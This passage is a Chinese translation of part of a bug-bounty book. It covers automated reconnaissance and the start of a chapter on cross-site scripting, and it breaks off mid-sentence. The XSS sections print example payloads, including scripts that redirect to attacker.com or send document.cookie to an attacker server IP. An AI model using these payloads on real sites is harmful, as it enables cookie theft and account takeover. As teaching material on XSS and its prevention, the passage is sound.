你还可以批量运行目录中的脚本。crontab 中的 run-parts 命令告诉 Cron 运行存储在目录中的所有脚本。例如,你可以将所有的侦查工具存储在一个目录中,并定期扫描你的目标。以下行告诉 Cron 每天晚上 9:30 运行我安全目录中的所有脚本:
30 21 * * * run-parts /Users/vickie/scripts/security
接下来,git diff 是一个输出两个文件之间差异的命令。你需要安装 Git 程序才能使用它。你可以使用 git diff 来比较不同时间的扫描结果,这样你就能快速看到自上次扫描以来目标是否发生了变化:
git diff `SCAN_1` `SCAN_2`
这将帮助你识别目标的新域名、子域名、端点和其他新资源。你可以编写类似这样的脚本,每天通知你目标上的新变化:
#!/bin/bash
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon
echo "Checking for new changes about the target: $DOMAIN.\n Found these new things."
git diff <SCAN AT TIME 1> <SCAN AT TIME 2>
然后使用 Cron 来安排它:
30 21 * * * ./scan_diff.sh facebook.com
这些自动化技术帮助我快速找到目标上的新 JavaScript 文件、端点和功能。我特别喜欢用这种技术自动发现子域接管漏洞。我们将在第二十章讨论子域接管。
另外,你也可以使用 GitHub 来跟踪变化。设置一个仓库,将你的扫描结果存储在 github.com/new/ 上。GitHub 有一个通知功能,它会告诉你仓库中的重要事件发生时。这个功能位于每个仓库页面的 Settings▶Notifications。提供一个电子邮件地址,GitHub 会用它来通知你有关更改的内容。然后,在存储扫描结果的目录中,运行以下命令以在该目录中启动 git:
git init
git remote add origin https://`PATH_TO_THE_REPOSITORY`
最后,使用 Cron 定期扫描目标并将文件上传到 GitHub:
30 21 * * * ./recon.sh facebook.com
40 21 * * * git add *; git commit -m "new scan"; git push -u origin master
GitHub 会向你发送一封电子邮件,通知你在新的扫描过程中发生了哪些文件变化。
关于 Recon API 的说明
本章中提到的许多工具都提供 API,允许你将其服务集成到你的应用程序和脚本中。我们将在第二十四章详细讨论 API,但现在你可以把 API 想象成可以用来查询服务数据库的端点。通过使用这些 API,你可以从脚本中查询侦察工具并将结果添加到你的侦察报告中,而无需手动访问它们的网站。
例如,Shodan 有一个 API(developer.shodan.io/),允许你查询其数据库。你可以通过访问以下 URL 获取主机的扫描结果:https://api.shodan.io/shodan/host/{ip}?key={YOUR_API_KEY}。你可以配置你的 bash 脚本,将请求发送到该 URL 并解析结果。LinkedIn 也有一个 API(www.linkedin.com/developers/),允许你查询其数据库。例如,你可以使用此 URL 来获取 LinkedIn 上某个用户的信息:https://api.linkedin.com/v2/people/{PERSON ID}。Censys API(censys.io/api)允许你通过查询端点 https://censys.io/api/v1 来访问证书。
本章中提到的其他工具,如 BuiltWith、Google 搜索和 GitHub 搜索,都有自己的 API 服务。这些 API 可以帮助你通过将第三方工具集成到侦察脚本中,更高效地发现资产和内容。请注意,大多数 API 服务要求你在其网站上创建一个账户,以获取 API 密钥,这是大多数 API 服务验证用户身份的方式。你可以在 github.com/lanmaster53/recon-ng-marketplace/wiki/API-Keys/ 找到关于如何获取流行侦察服务的 API 密钥的信息。
开始黑客攻击吧!
既然你已经进行了广泛的侦察,那么接下来应该如何处理你收集的数据呢?利用你所收集的信息来规划你的攻击!根据应用程序的功能和技术优先安排你的测试。
例如,如果你发现一个处理信用卡号码的功能,你可以首先寻找可能泄露信用卡号码的漏洞,比如 IDOR(第十章)。专注于敏感功能,如信用卡和密码,因为这些功能更可能包含关键漏洞。在你的侦察过程中,你应该能够大致了解公司关心什么以及它在保护什么敏感数据。在整个漏洞狩猎过程中,针对这些特定的信息进行攻击,以最大化你发现问题的商业影响。你还可以将搜索集中在影响你发现的特定技术栈的漏洞或错误上,或者集中在你能够找到的源代码元素上。
而且别忘了,侦察不是一次性的活动。你应该继续监控你的目标,关注它们的变化。组织不断修改他们的系统、技术和代码库,因此持续的侦察可以确保你始终了解攻击面是什么样的。通过结合使用 bash、调度工具和警报工具,建立一个侦察引擎,让它为你完成大部分工作。
本章提到的工具
在本章中,我介绍了许多你可以在侦察过程中使用的工具。还有许多其他优秀的工具。这里提到的只是我个人的偏好。我已按时间顺序将它们列出,供你参考。
在使用这些工具之前,一定要了解它们是如何工作的!理解你使用的软件可以让你根据自己的工作流程定制它。
范围发现
-
WHOIS 查找域名或 IP 的所有者。
-
ViewDNS.info 反向 WHOIS (
viewdns.info/reversewhois/) 是一个通过使用关键词搜索反向 WHOIS 数据的工具。 -
nslookup查询互联网域名服务器以获取有关主机的 IP 信息。 -
ViewDNS 反向 IP (
viewdns.info/reverseip/) 根据 IP 或域名查找托管在同一服务器上的域名。 -
crt.sh (
crt.sh/)、Censys (censys.io/) 和 Cert Spotter (sslmate.com/certspotter/) 是你可以用来查找域名证书信息的平台。 -
Sublist3r (
github.com/aboul3la/Sublist3r/)、SubBrute (github.com/TheRook/subbrute/)、Amass (github.com/OWASP/Amass/) 和 Gobuster (github.com/OJ/gobuster/) 用于枚举子域名。 -
Daniel Miessler 的 SecLists (
github.com/danielmiessler/SecLists/) 是一个在侦察和黑客攻击的各个阶段中可以使用的关键词列表。例如,它包含可以用来暴力破解子域名和文件路径的列表。 -
Commonspeak2 (
github.com/assetnote/commonspeak2/)生成的列表可以用于利用公开数据进行子域名和文件路径的暴力破解。 -
Altdns (
github.com/infosec-au/altdns)通过使用常见子域名的排列组合进行子域名暴力破解。 -
Nmap (
nmap.org/)和 Masscan (github.com/robertdavidgraham/masscan/)扫描目标的开放端口。 -
Shodan (
www.shodan.io/)、Censys (censys.io/)和 Project Sonar (www.rapid7.com/research/project-sonar/)可以用来查找目标的服务,而无需主动扫描。 -
Dirsearch (
github.com/maurosoria/dirsearch/)和 Gobuster (github.com/OJ/gobuster)是用于发现隐藏文件路径的目录暴力破解工具。 -
EyeWitness (
github.com/FortyNorthSecurity/EyeWitness/)和 Snapper (github.com/dxa4481/Snapper/)能够抓取一系列 URL 的截图,可以用来快速扫描在枚举路径中有趣的页面。 -
OWASP ZAP (
owasp.org/www-project-zap/)是一个安全工具,包含了扫描器、代理等多种功能。其网页爬虫可用于发现 Web 服务器上的内容。 -
GrayhatWarfare (
buckets.grayhatwarfare.com/)是一个在线搜索引擎,您可以使用它查找公开的 Amazon S3 桶。 -
Lazys3 (
github.com/nahamsec/lazys3/)和 Bucket Stream (github.com/eth0izzle/bucket-stream/)通过使用关键词进行桶的暴力破解。
OSINT
-
Google Hacking 数据库(
www.exploit-db.com/google-hacking-database/)包含了常用的 Google 搜索词,这些搜索词常常能揭示漏洞或敏感文件。 -
KeyHacks (
github.com/streaak/keyhacks/)帮助您确定一组凭证是否有效,并学习如何使用它们访问目标服务。 -
Gitrob (
github.com/michenriksen/gitrob/)用于查找可能被推送到 GitHub 公开仓库中的敏感文件。 -
TruffleHog (
github.com/trufflesecurity/truffleHog/)专门通过搜索字符串模式和高熵字符串,在公开的 GitHub 仓库中查找密钥。 -
PasteHunter (
github.com/kevthehermit/PasteHunter/) 扫描在线粘贴站点以查找敏感信息。 -
Wayback Machine (
archive.org/web/) 是一个互联网内容的数字档案库。你可以使用它查找网站及其文件的旧版本。 -
Waybackurls (
github.com/tomnomnom/waybackurls/) 从 Wayback Machine 获取 URL。
技术栈指纹识别
-
CVE 数据库 (
cve.mitre.org/cve/search_cve_list.html) 包含了公开披露的漏洞。你可以使用其网站来搜索可能影响目标的漏洞。 -
Wappalyzer (
www.wappalyzer.com/) 能识别网站上使用的内容管理系统、框架和编程语言。 -
BuiltWith (
builtwith.com/) 是一个展示网站使用哪些 web 技术的网站。 -
StackShare (
stackshare.io/) 是一个在线平台,允许开发者分享他们使用的技术。你可以用它收集关于目标的信息。 -
Retire.js (
retirejs.github.io/retire.js/) 检测过时的 JavaScript 库和 Node.js 包。
自动化
- Git (
git-scm.com/) 是一个开源的版本控制系统。你可以使用其git diff命令来跟踪文件的更改。
你现在应该对如何对目标进行侦察有了扎实的理解。记得在整个侦察过程中保持详细的笔记,因为你收集的信息随着时间的推移可能会大幅增加。一旦你对如何对目标进行侦察有了全面的理解,你可以尝试利用像 Nuclei (github.com/projectdiscovery/nuclei/) 或 Intrigue Core (github.com/intrigueio/intrigue-core/) 这样的侦察平台,使侦察过程更加高效。但在刚开始时,我建议你使用单个工具进行手动侦察,或者编写自己的自动化侦察脚本来了解这个过程。
第六章:跨站脚本攻击

让我们从跨站脚本攻击(XSS)开始,它是报告给漏洞奖励计划中最常见的错误之一。它的普遍性如此之高,以至于每年它都会出现在 OWASP 列出的十大威胁网页应用的漏洞中。它也是 HackerOne 报告次数最多的漏洞,仅 2020 年就支付了超过 400 万美元的奖励。
XSS 漏洞发生在攻击者能够在受害者的浏览器上执行自定义脚本时。如果应用程序未能区分用户输入和构成网页的合法代码,攻击者就能将自己的代码注入到其他用户查看的页面中。受害者的浏览器将执行这个恶意脚本,可能会窃取 Cookies、泄露个人信息、修改网站内容,或将用户重定向到恶意网站。这些恶意脚本通常是 JavaScript 代码,但也可以是 HTML、Flash、VBScript 或任何浏览器能够执行的语言编写的代码。
在本章中,我们将深入探讨 XSS 漏洞是什么,如何利用这些漏洞,以及如何绕过常见的防护措施。我们还将讨论在发现 XSS 漏洞时如何进行升级。
机制
在 XSS 攻击中,攻击者将可执行脚本注入到用户查看的 HTML 页面中。这意味着,要理解 XSS,首先需要理解 JavaScript 和 HTML 语法。
网页由 HTML 代码构成,其元素描述了页面的结构和内容。例如,<h1>标签定义了网页的头部,而<p>标签代表一段文本。标签使用相应的结束标签,如</h1>和</p>,来指示元素内容的结束位置。为了了解这个是如何工作的,可以将以下代码保存为名为test.html的文件:
<html> <h1>Welcome to my web page.</h1> <p>Thanks for visiting!</p>
</html>
现在,用你的网页浏览器打开该文件。你可以通过右键点击 HTML 文件,选择用...打开,然后选择你喜欢的浏览器,如 Google Chrome、Mozilla Firefox 或 Microsoft Internet Explorer,来打开它。或者,你也可以直接打开浏览器并将 HTML 文件拖进浏览器窗口。你应该能看到一个简单的网页,像图 6-1 一样。

图 6-1:我们在浏览器中渲染的简单 HTML 页面
除了格式化文本外,HTML 还允许你使用<img>标签嵌入图像,使用<form>标签创建用户输入表单,使用<a>标签链接到外部页面,以及执行许多其他任务。如何编写 HTML 代码的完整教程超出了本章的范围,但你可以参考 W3School 的教程(www.w3schools.com/html/default.asp)作为资源。
HTML 还允许在 HTML 文档中嵌入可执行脚本,使用<script>标签。网站使用这些脚本来控制客户端应用逻辑,并使网站具有互动性。例如,以下脚本会在网页上生成一个Hello!的弹窗:
<html> <script>alert("Hello!");</script> <h1>Welcome to my web page!</h1> <p>Thanks for visiting!</p>
</html>
这种嵌入在 HTML 文件中的脚本,而不是从单独的文件加载的脚本,称为 内联脚本。这些脚本是许多 XSS 漏洞的根源。(除了将脚本嵌入 HTML 页面作为内联脚本,网站还可以将 JavaScript 代码作为外部文件加载,如:<script src="``URL_OF_EXTERNAL_SCRIPT``"></script>。)
为了了解原因,假设我们的网站包含一个允许访客订阅新闻通讯的 HTML 表单(图 6-2)。

图 6-2:我们的 HTML 页面与 HTML 表单
页面源 HTML 代码看起来像这样:
<h1>Welcome to my site.</h1>
<h3>This is a cybersecurity newsletter that focuses on bug bounty
news and write-ups. Please subscribe to my newsletter below to
receive new cybersecurity articles in your email inbox.</h3>
<form action="/subscribe" method="post"> <label for="email">Email:</label><br> <input type="text" id="email" value="Please enter your email."> <br><br> <input type="submit" value="Submit">
</form>
在访客输入电子邮件地址后,网站通过在屏幕上显示该地址来确认它(图 6-3)。

图 6-3:访客订阅我们新闻通讯后的确认消息
生成确认消息的 HTML 看起来像这样;HTML <b> 标签表示粗体文本:
<p>Thanks! You have subscribed <b>vickie@gmail.com</b> to the newsletter.</p>
页面通过使用用户输入来构建消息。现在,如果用户决定在电子邮件表单中输入脚本而不是电子邮件地址呢?例如,一个设置网页 location 的脚本会使浏览器重定向到指定的位置:
<script>location="http://attacker.com";</script>
攻击者可以将此脚本输入到电子邮件表单字段中并点击提交(图 6-4)。

图 6-4:攻击者可以在输入字段中输入脚本而不是电子邮件。
如果网站在构建确认消息之前没有验证或清理用户输入,页面源代码将变成以下内容:
<p>Thanks! You have subscribed <b>**<script>location="http://attacker.com";</script>**</b> to the newsletter.</p>
验证用户输入意味着应用程序检查用户输入是否符合某个标准——在这种情况下,不包含恶意的 JavaScript 代码。另一方面,清理用户输入意味着应用程序会在进一步处理之前修改输入中的特殊字符,这些字符可能会干扰 HTML 逻辑。
结果是,内联脚本会导致页面重定向到 attacker.com。XSS 发生在攻击者能够以这种方式将脚本注入到另一个用户正在查看的页面时。攻击者还可以使用不同的语法嵌入恶意代码。HTML <script> 标签的 src 属性允许你从外部源加载 JavaScript。这段恶意代码将在 XSS 攻击期间执行 http://attacker.com/xss.js/ 的内容,目标浏览器中:
<script src=http://attacker.com/xss.js></script>
这个例子实际上并不可被利用,因为攻击者无法在其他用户的页面上注入恶意脚本。他们最多只能将自己重定向到恶意页面。但假设该网站还允许用户通过访问 URLhttps://subscribe.example.com?email=SUBSCRIBER_EMAIL来订阅新闻邮件。在用户访问该 URL 后,他们将自动订阅,且网页上会显示相同的确认信息。在这种情况下,攻击者可以通过欺骗用户访问恶意 URL 来注入脚本:
https://subscribe.example.com?email=<script>location="http://attacker.com";</script>
由于恶意脚本被嵌入到页面中,受害者的浏览器会认为该脚本是该网站的一部分。然后,注入的脚本可以访问浏览器为该网站存储的任何资源,包括 cookies 和会话令牌。因此,攻击者可以利用这些脚本窃取信息并绕过访问控制。例如,攻击者可能会通过使受害者的浏览器向攻击者的 IP 发送请求,同时将受害者的 cookie 作为 URL 参数,来窃取用户的 cookie:
<script>image = new Image();
image.src='http://attacker_server_ip/?c='+document.cookie;</script>
该脚本包含 JavaScript 代码,用于从攻击者的服务器加载图片,并将用户的 cookies 作为请求的一部分。浏览器会向攻击者的 IP 发送 GET 请求,URL 参数c(代表cookie)包含用户的document.cookie,即当前网站上受害者用户的 cookie。通过这种方式,攻击者可以通过检查他们服务器日志中的传入请求,利用 XSS 窃取其他用户的 cookies。请注意,如果会话 cookie 设置了HttpOnly标志,JavaScript 将无法读取该 cookie,因此攻击者无法将其提取出来。不过,XSS 仍然可以用来代表受害者执行操作、修改受害者正在查看的网页,并读取受害者的敏感信息,如 CSRF 令牌、信用卡号码以及网页上呈现的其他任何细节。
XSS 类型
XSS 有三种类型:存储型 XSS、反射型 XSS 和基于 DOM 的 XSS。这些类型之间的区别在于 XSS 负载在传送到受害者用户之前的传播方式。有些 XSS 漏洞还属于特殊类别:盲 XSS 和自我 XSS,我们稍后会讲到。
存储型 XSS
存储型 XSS发生在用户输入被存储在服务器上并且未经过安全处理时。当应用程序接受未经验证的用户输入,将其存储在服务器上,然后在未进行清理的情况下渲染到用户的浏览器中时,恶意的 JavaScript 代码就可能进入数据库并最终传送到受害者的浏览器。
存储型 XSS 是我们在本章讨论的最严重的 XSS 类型,因为它比反射型、DOM 型或自 XSS 有潜力攻击更多的用户。有时,在存储型 XSS 攻击中,用户只需查看嵌入了有效负载的页面就能成为受害者,而反射型和 DOM 型 XSS 通常需要用户点击恶意链接。最后,自 XSS 则需要大量的社会工程学技巧才能成功。
在存储型 XSS 攻击中,攻击者成功地将其恶意脚本永久保存在目标应用程序的服务器上,供其他人访问。也许他们能够将脚本注入到应用程序的用户数据库中,或者他们可能会将其放入服务器日志、留言板或评论字段中。每次用户访问存储的信息时,XSS 都会在他们的浏览器中执行。
例如,假设一个互联网论坛的评论字段易受 XSS 攻击。当用户提交评论到博客文章时,该用户输入不会在呈现给任何查看该博客文章的人之前进行任何验证或清理。攻击者可以提交带有 JavaScript 代码的评论,并让任何查看该博客文章的用户执行该代码!
一个很好的 XSS 概念验证是通过注入 JavaScript 代码在浏览器中生成一个警告框,让我们来试一下。JavaScript 代码alert('XSS by Vickie')将在受害者的浏览器中生成一个弹出窗口,显示XSS by Vickie:
<script>alert('XSS by Vickie');</script>
如果提交,这条消息将嵌入到论坛页面的 HTML 代码中,页面将显示给所有查看该评论的访问者:
<h2>Vickie's message</h2>
<p>What a great post! Thanks for sharing.</p>
<h2>Attacker's message</h2>
<p><script>alert('XSS by Vickie');</script></p>
图 6-5 显示了浏览器中渲染的两条消息。

图 6-5:浏览器中渲染的包含两条消息的 HTML 页面。您可以看到攻击者的消息为空,因为浏览器将其解释为脚本而不是文本。
当您在浏览器中加载此 HTML 页面时,您会看到攻击者的评论字段显示为空。这是因为您的浏览器将位于<p>标签中的<script>alert('XSS by Vickie');</script>解释为脚本,而不是普通文本。您应该会看到一个弹出窗口,显示XSS by Vickie。
每次用户查看论坛中的评论时,他们的浏览器都会执行嵌入的 JavaScript。存储型 XSS 通常是最危险的,因为攻击者只需使用一个有效负载,就能攻击多个受害者。
盲 XSS
盲 XSS漏洞是存储型 XSS 漏洞,其恶意输入被服务器存储并在应用程序的其他部分或您无法看到的另一个应用程序中执行。
例如,假设example.com上的一个页面允许您向网站的支持人员发送消息。当用户提交消息时,这些输入不会在呈现到网站管理员页面之前进行任何验证或清理。攻击者可以提交包含 JavaScript 代码的消息,并让任何查看该消息的管理员执行该代码。
这些 XSS 漏洞更难以检测,因为你无法通过查找服务器响应中的反射输入来发现它们,但它们可能和常规的存储型 XSS 漏洞一样危险。通常,盲 XSS 可以用来攻击管理员,窃取他们的数据,甚至危及他们的账户。
反射型 XSS
反射型 XSS 漏洞发生在用户输入被返回给用户时,而没有存储在数据库中。应用程序接收用户输入,在服务器端处理,并立即返回给用户。
我展示的第一个例子,涉及了一个反射型 XSS 攻击。这些问题通常发生在服务器依赖用户输入构建显示搜索结果或错误信息的页面时。例如,假设一个网站有一个搜索功能。用户可以通过 URL 参数输入搜索词,页面会在结果页顶部显示包含该词的消息。如果用户搜索 abc,与该消息相关的源代码可能是这样的:
<h2>You searched for abc; here are the results!</h2>
如果搜索功能在结果页面显示任何用户提交的搜索字符串,像以下的搜索词会导致一个脚本被嵌入到结果页面,并被浏览器执行:
https://example.com/search?q=**<script>alert('XSS by Vickie');</script>**
如果攻击者能诱使受害者访问这个 URL,负载将嵌入到他们页面的版本中,导致受害者的浏览器运行攻击者希望执行的任何代码。与存储型 XSS 不同,存储型 XSS 允许攻击者在任何访问其存储资源的人上执行代码,而反射型 XSS 使得攻击者能够在点击恶意链接的受害者的浏览器上执行代码。
基于 DOM 的 XSS
基于 DOM 的 XSS 类似于反射型 XSS,只是基于 DOM 的 XSS 中,用户输入从不离开用户的浏览器。在基于 DOM 的 XSS 中,应用程序接收用户输入,在受害者的浏览器上处理,然后再返回给用户。
文档对象模型(DOM) 是浏览器用来渲染网页的模型。DOM 表示网页的结构;它定义了每个 HTML 元素的基本属性和行为,并帮助脚本访问和修改页面内容。基于 DOM 的 XSS 直接攻击网页的 DOM:它攻击的是客户端的本地网页副本,而不是通过服务器。攻击者能够在页面接收用户提供的数据并根据这些输入动态更改 DOM 时攻击 DOM。像 jQuery 这样的 JavaScript 库容易遭受基于 DOM 的 XSS,因为它们动态地更改 DOM 元素。
如同反射型 XSS,攻击者通过受害者的用户输入提交基于 DOM 的 XSS 负载。与反射型 XSS 不同,基于 DOM 的 XSS 脚本不需要服务器的参与,因为它在用户输入直接修改浏览器中页面源代码时执行。XSS 脚本从未发送到服务器,因此服务器的 HTTP 响应不会发生变化。
这一切可能听起来有些抽象,我们来考虑一个例子。假设一个网站允许用户通过 URL 参数提交更改他们的语言环境:
https://example.com?locale=north+america
网页的客户端代码将使用此语言环境来构建欢迎信息,其 HTML 代码如下所示:
<h2>Welcome, user from north america!</h2>
URL 参数不会提交到服务器,而是由用户的浏览器在本地使用客户端脚本构建网页。但如果网站未对用户提交的语言环境参数进行验证,攻击者可以诱使用户访问像这样的 URL:
https://example.com?locale=
<script>location='http://attacker_server_ip/?c='+document.cookie;</script>
该网站将在用户的网页中嵌入有效载荷,受害者的浏览器将执行恶意脚本。
DOM XSS 起初可能听起来很像反射型 XSS。不同之处在于,反射型 XSS 有效载荷会被发送到服务器并通过 HTTP 响应返回到用户的浏览器。另一方面,DOM XSS 有效载荷是由于客户端代码不安全地渲染用户输入而注入到页面中的。虽然这两种攻击的结果类似,但它们的测试和防护过程不同。
可能导致反射型和基于 DOM 的 XSS 的用户输入字段并不总是 URL 参数。有时它们出现在 URL 片段或路径中。URL 片段 是位于 URL 末尾的字符串,以 # 字符开头。它们通常用于自动将用户引导到网页中的某个部分或传递附加信息。例如,这是一个带有片段的 URL,将用户引导到该网站主页的 #about_us 部分:
https://example.com#about_us
我们将在第七章中详细讨论 URL 的组成部分。关于 DOM XSS 和一些示例有效载荷的信息,请参阅 PortSwigger 文章“DOM-Based XSS”:portswigger.net/web-security/cross-site-scripting/dom-based/。
自我 XSS
自我 XSS 攻击 要求受害者自行输入恶意有效载荷。要执行这些攻击,攻击者必须欺骗用户做的不仅仅是查看页面或浏览到特定 URL。
例如,假设用户仪表板上的一个字段易受存储型 XSS 攻击。但由于只有受害者能够看到并编辑该字段,因此除非攻击者能够以某种方式欺骗受害者将字段的值更改为 XSS 有效载荷,否则攻击者无法传递有效载荷。
如果你曾见过社交媒体帖子或短信,告诉你将一段代码粘贴到浏览器中以“做点有趣的事情”,那很可能是攻击代码,旨在欺骗你自己发起自我 XSS 攻击。攻击者通常会将恶意有效载荷(通常通过缩短的 URL,如 bitly.com,以便受害者不会怀疑)嵌入到一段复杂的代码中,并利用社交媒体诱骗毫无戒心的用户攻击自己。
在漏洞悬赏中,通常不会接受自我 XSS 漏洞作为有效提交,因为它们需要社会工程学。需要 社会工程学 或操控受害者的漏洞通常不会在漏洞悬赏计划中被接受,因为这些问题不完全是技术问题。
预防
为了防止 XSS 攻击,应用程序应该实施两项控制措施:强健的输入验证和上下文输出转义与编码。应用程序绝不应直接将用户提交的数据插入到 HTML 文档中——例如,在 <script> 标签内、HTML 标签名或属性名中。相反,服务器应该验证用户提交的输入是否包含可能影响浏览器解析页面信息的危险字符。例如,包含字符串"<script>"的用户输入是一个良好的指示,表明该输入包含 XSS 有害负载。在这种情况下,服务器可以阻止该请求,或者通过删除或转义特殊字符来清理输入,然后再进行进一步处理。
转义是指将特殊字符进行编码,以便它们被处理字符的程序或机器按字面意思解读,而不是作为特殊字符。编码字符的方法有多种。应用程序需要根据用户输入将其编码为不同格式,具体取决于输入将嵌入的位置。如果用户输入被插入到 <script> 标签中,则需要以 JavaScript 格式进行编码。插入 HTML、XML、JSON 和 CSS 文件中的输入也同样如此。
在我们示例的上下文中,应用程序需要将特殊字符编码为 HTML 文档所使用的格式。例如,左尖括号和右尖括号可以编码为 HTML 字符 < 和 >。为了防止 XSS,应用程序应该转义在 HTML 中具有特殊含义的字符,如 & 字符、尖括号 < 和 >、单引号和双引号,以及斜杠字符 /。
转义确保浏览器不会误将这些字符解读为执行的代码。这是大多数现代应用程序防止 XSS 攻击的做法。应用程序应该对每个用户输入的内容进行这种转义,以防该内容被用户的浏览器渲染或访问。许多现代 JavaScript 框架,如 React、Angular 2+ 和 Vue.js,都会自动为你处理这个问题,因此通过选择合适的 JavaScript 框架,很多 XSS 漏洞都能得到防范。
防止基于 DOM 的 XSS 需要不同的方法。由于恶意用户输入不会通过服务器,因此清理进出服务器的数据无法起作用。相反,应用程序应避免基于用户输入重写 HTML 文档的代码,并且应用程序应该在输入被插入到 DOM 中之前实施客户端输入验证。
如果 XSS 漏洞确实发生,你也可以采取措施减轻其影响。首先,你可以在你的网站使用的敏感 Cookie 上设置HttpOnly标志,这样可以防止攻击者通过 XSS 窃取这些 Cookie。你还应该实施Content-Security-Policy HTTP 响应头。这个头部允许你限制如何加载网页上的资源,比如 JavaScript、CSS 或图片。为了防止 XSS 攻击,你可以指示浏览器仅从一个资源列表中执行脚本。有关防止 XSS 攻击的更多信息,请访问 OWASP XSS 防范备忘单:cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html。
XSS 漏洞狩猎
在用户输入被渲染到页面上的地方寻找 XSS 漏洞。不同类型的 XSS 攻击过程可能会有所不同,但核心原则保持不变:检查反射的用户输入。
在本节中,我们将寻找 Web 应用程序中的 XSS 漏洞。但重要的是要记住,XSS 漏洞也可能在正常 Web 应用程序以外的地方出现。你可以在通过非 HTTP 协议(如 SMTP、SNMP 和 DNS)通信的应用程序中寻找 XSS。有时,像电子邮件应用程序和其他桌面应用程序这样的商业应用也会接收来自这些协议的数据。如果你对这些技术感兴趣,可以查看 Offensive Security 的高级 Web 攻击与利用培训:www.offensive-security.com/awae-oswe/。
在开始寻找任何漏洞之前,最好准备好 Burp Suite 或你喜欢的代理工具。确保你已经配置好代理与浏览器的连接。你可以在第四章找到相关配置说明。
步骤 1:寻找输入机会
首先,寻找向目标站点提交用户输入的机会。如果你尝试进行存储型 XSS 攻击,搜索服务器存储并后续展示给用户的输入位置,包括评论字段、用户个人资料和博客文章。最常被反射回用户的用户输入类型通常是表单、搜索框以及注册时的姓名和用户名字段。
不要仅仅局限于文本输入字段。有时下拉菜单或数字字段也可能允许你执行 XSS 攻击,因为即使你不能在浏览器中输入有效负载,代理也可能允许你直接将其插入到请求中。为了实现这一点,你可以开启代理的流量拦截功能,在将请求转发到服务器之前修改请求。例如,假设一个用户输入字段似乎只接受数字值,例如这个POST请求中的age参数:
POST /edit_user_age
(Post request body)
age=20
你仍然可以通过通过 Web 代理拦截请求并更改输入值来尝试提交 XSS 有效负载:
POST /edit_user_age
(Post request body)
age=**<script>alert('XSS by Vickie');</script>**
在 Burp 中,你可以直接在 Proxy 选项卡中编辑请求(图 6-6)。

图 6-6:拦截传出的请求,在将其转发到服务器之前进行编辑。
编辑完成后,点击 Forward 将请求转发到服务器(图 6-7)。

图 6-7:将 URL POST 请求参数更改为你的 XSS 有效载荷。
如果你希望找到反射型和 DOM 型 XSS,请查找 URL 参数、片段或路径中会显示给用户的用户输入。一个好的方法是将自定义字符串插入到每个 URL 参数中,并检查它是否出现在返回的页面中。确保这个字符串足够具体,这样如果你看到它被呈现出来,你就能确认是你的输入导致的。例如,我喜欢使用字符串 "XSS_BY_VICKIE"。将你的自定义字符串插入到你能找到的每个用户输入点中。然后,当你在浏览器中查看页面时,使用浏览器的页面搜索功能(通常是按 CTRL-F)在页面的源代码中搜索它(你可以通过右键点击页面并选择“查看源代码”来访问页面源代码)。这应该能给你一个关于哪些用户输入字段出现在结果页面中的想法。
步骤 2:插入有效载荷
一旦你识别出应用程序中存在的用户输入点,你就可以开始在发现的注入点处输入测试 XSS 有效载荷。最简单的测试有效载荷是一个警告框:
<script>alert('XSS by Vickie');</script>
如果攻击成功,你应该会看到一个弹出框,显示文本 XSS by Vickie。
但这个有效载荷在典型的网页应用程序中是行不通的,除非是最脆弱的那些,因为如今大多数网站都对输入字段实施了某种形式的 XSS 防护。像这样的简单有效载荷更有可能在不使用最新框架的物联网或嵌入式应用程序中起作用。如果你对物联网漏洞感兴趣,可以查看 OWASP 的 IoTGoat 项目:github.com/OWASP/IoTGoat/。随着 XSS 防护变得越来越先进,能够绕过这些防护的 XSS 有效载荷也变得越来越复杂。
不仅仅是


浙公网安备 33010602011771号